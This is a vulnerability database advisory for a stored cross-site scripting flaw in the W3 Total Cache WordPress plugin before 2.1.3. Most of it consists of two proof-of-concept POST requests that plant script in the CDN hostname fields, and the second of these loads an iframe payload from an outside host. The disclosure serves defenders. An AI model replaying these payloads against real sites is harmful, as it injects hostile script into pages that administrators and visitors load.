Lucene search

K
wpvulndbM0zeWPVDB-ID:5DA5CE9A-82A6-404F-8DEC-795D7905B3F9
HistoryJun 16, 2021 - 12:00 a.m.

W3 Total Cache < 2.1.3 - Authenticated Stored XSS

2021-06-1600:00:00
m0ze
wpscan.com
11

0.001 Low

EPSS

Percentile

24.8%

The plugin did not sanitise or escape some of its CDN settings, allowing high privilege users to use JavaScript in them, which will be output in the page, leading to an authenticated Stored Cross-Site Scripting issue

PoC

Vulnerable parameter(s): &cdn;_cnames[]= (#1), cdn_cnames[]= (#2), cdn_cnames[]= (#3). CDN Type: Akamai, Amazon CloudFront, AT&T;, Cotendo, Generic Mirror, Verizon Digital Media Services (EdgeCast), Amazon CloudFront Over S3, Amazon Simple Storage Service (S3), Amazon Simple Storage Service (S3) Compatible, Microsoft Azure Storage, Self-hosted. PoC #1 | Authenticated Persistent XSS | CDN > Replace site’s hostname with (reserved for CSS): POST /wp-admin/admin.php?page=w3tc_cdn HTTP/2 Host: example.com Cookie: [admin cookies] User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: 2204 cdn__uploads__enable=0&cdn;__uploads__enable=1&cdn;__includes__enable=0&cdn;__includes__enable=1&cdn;__theme__enable=0&cdn;__theme__enable=1&cdn;__custom__enable=0&cdn;__custom__enable=1&cdn;__force__rewrite=0&cdn;__canonical_header=0&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54a0bbb254&cdn;__ftp__pasv=0&cdn;__ftp__host=&cdn;__ftp__type=&cdn;__ftp__user=&cdn;__ftp__pass=&cdn;__ftp__path=&cdn;__ftp__ssl=auto&cdn;_cnames%5B%5D=%23%27%22%3E%3Cscript%3Ealert%28%29%3B%3C%2Fscript%3E%3Cdiv+x&cdn;_cnames%5B%5D=&cdn;_cnames%5B%5D=&cdn;_cnames%5B%5D=&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54a0bbb254&w3tc;_default_save_and_flush=Save+Settings+%26+Purge+Caches&cdn;__flush_manually=0&cdn;__reject__ssl=0&cdn;__admin__media_library=0&cdn;__cors_header=0&cdn;__cors_header=1&cdn;__reject__logged_roles=0&cdn;__reject__roles=&cdn;__reject__uri=&cdn;__autoupload__enabled=0&cdn;__autoupload__interval=3600&cdn;__queue__interval=900&cdn;__queue__limit=25&cdn;__includes__files=.css%3B.js%3B*.gif%3B*.png%3B*.jpg%3B*.xml&cdn;__theme__files=.css%3B.js%3B*.gif%3B*.png%3B*.jpg%3B*.ico%3B*.ttf%3B*.otf%3B*.woff%3B*.woff2%3B*.less&cdn;__import__files=&cdn;__custom__files=favicon.ico%0D%0A%7Bwp_content_dir%7D%2Fgallery%2F*%0D%0A%7Bwp_content_dir%7D%2Fuploads%2Favatars%2F*%0D%0A%7Bplugins_dir%7D%2Fwordpress-seo%2Fcss%2Fxml-sitemap.xsl%0D%0A%7Bplugins_dir%7D%2Fwp-minify%2Fmin*%0D%0A%7Bplugins_dir%7D%2F*.js%0D%0A%7Bplugins_dir%7D%2F*.css%0D%0A%7Bplugins_dir%7D%2F*.gif%0D%0A%7Bplugins_dir%7D%2F*.jpg%0D%0A%7Bplugins_dir%7D%2F*.png&cdn;__reject__ua=&cdn;__reject__files=%7Buploads_dir%7D%2Fwpcf7_captcha%2F*%0D%0A%7Buploads_dir%7D%2Fimagerotator.swf%0D%0A%7Bplugins_dir%7D%2Fwp-fb-autoconnect%2Ffacebook-platform%2Fchannel.html&set;_cookie_domain_old=0&set;_cookie_domain_new=0&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54a0bbb254 PoC #2 | Authenticated Persistent XSS | CDN > Replace site’s hostname with (reserved for JS in ): POST /wp-admin/admin.php?page=w3tc_cdn HTTP/2 Host: example.com Cookie: [admin cookies] User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: 2204 cdn__uploads__enable=0&cdn;__uploads__enable=1&cdn;__includes__enable=0&cdn;__includes__enable=1&cdn;__theme__enable=0&cdn;__theme__enable=1&cdn;__custom__enable=0&cdn;__custom__enable=1&cdn;__force__rewrite=0&cdn;__canonical_header=0&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54cf6ef099&cdn;__ftp__pasv=0&cdn;__ftp__host=&cdn;__ftp__type=&cdn;__ftp__user=&cdn;__ftp__pass=&cdn;__ftp__path=&cdn;__ftp__ssl=auto&cdn;_cnames%5B%5D=1&cdn;_cnames%5B%5D=2&cdn;_cnames%5B%5D=%23%27%22%3E%3Ciframe+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E%3C%2Fiframe%3E%3Cdiv+x&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54cf6ef099&w3tc;_default_save_and_flush=Save+Settings+%26+Purge+Caches&cdn;__flush_manually=0&cdn;__reject__ssl=0&cdn;__admin__media_library=0&cdn;__cors_header=0&cdn;__cors_header=1&cdn;__reject__logged_roles=0&cdn;__reject__roles=&cdn;__reject__uri=&cdn;__autoupload__enabled=0&cdn;__autoupload__interval=3600&cdn;__queue__interval=900&cdn;__queue__limit=25&cdn;__includes__files=.css%3B.js%3B*.gif%3B*.png%3B*.jpg%3B*.xml&cdn;__theme__files=.css%3B.js%3B*.gif%3B*.png%3B*.jpg%3B*.ico%3B*.ttf%3B*.otf%3B*.woff%3B*.woff2%3B*.less&cdn;__import__files=&cdn;__custom__files=favicon.ico%0D%0A%7Bwp_content_dir%7D%2Fgallery%2F*%0D%0A%7Bwp_content_dir%7D%2Fuploads%2Favatars%2F*%0D%0A%7Bplugins_dir%7D%2Fwordpress-seo%2Fcss%2Fxml-sitemap.xsl%0D%0A%7Bplugins_dir%7D%2Fwp-minify%2Fmin*%0D%0A%7Bplugins_dir%7D%2F*.js%0D%0A%7Bplugins_dir%7D%2F*.css%0D%0A%7Bplugins_dir%7D%2F*.gif%0D%0A%7Bplugins_dir%7D%2F*.jpg%0D%0A%7Bplugins_dir%7D%2F*.png&cdn;__reject__ua=&cdn;__reject__files=%7Buploads_dir%7D%2Fwpcf7_captcha%2F*%0D%0A%7Buploads_dir%7D%2Fimagerotator.swf%0D%0A%7Bplugins_dir%7D%2Fwp-fb-autoconnect%2Ffacebook-platform%2Fchannel.html&set;_cookie_domain_old=0&set;_cookie_domain_new=0&_wpnonce=5f67f11949&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dw3tc_cdn%26w3tc_message%3D60a54cf6ef099

CPENameOperatorVersion
w3-total-cachelt2.1.3

0.001 Low

EPSS

Percentile

24.8%

Related for WPVDB-ID:5DA5CE9A-82A6-404F-8DEC-795D7905B3F9